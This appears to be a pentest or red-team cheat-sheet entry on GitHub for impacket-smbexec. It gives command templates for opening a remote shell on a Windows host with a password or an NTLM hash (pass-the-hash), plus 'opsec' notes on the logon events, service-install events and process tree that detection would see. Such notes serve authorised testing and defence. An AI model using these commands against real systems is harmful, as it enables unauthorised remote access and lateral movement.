Skip to content

Latest commit

 

History

History
30 lines (24 loc) · 509 Bytes

impacket-smbexec.md

File metadata and controls

30 lines (24 loc) · 509 Bytes

Source

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

Get semi interactive powershell

impacket-smbexec <domain>/<user>:<password>@<rhost>

Using hash

impacket-smbexec -hashes :<ntlmHash> <domain>/<user>@<rhost>

Opsec considerations

Windows Security Log Event IDs
-Logon (4624)
-Special Logon (4672)

Windows System Logs
-Service Control Manager (7045)

Running processes

cmd.exe
└── cmd.exe
    └── Conhost.exe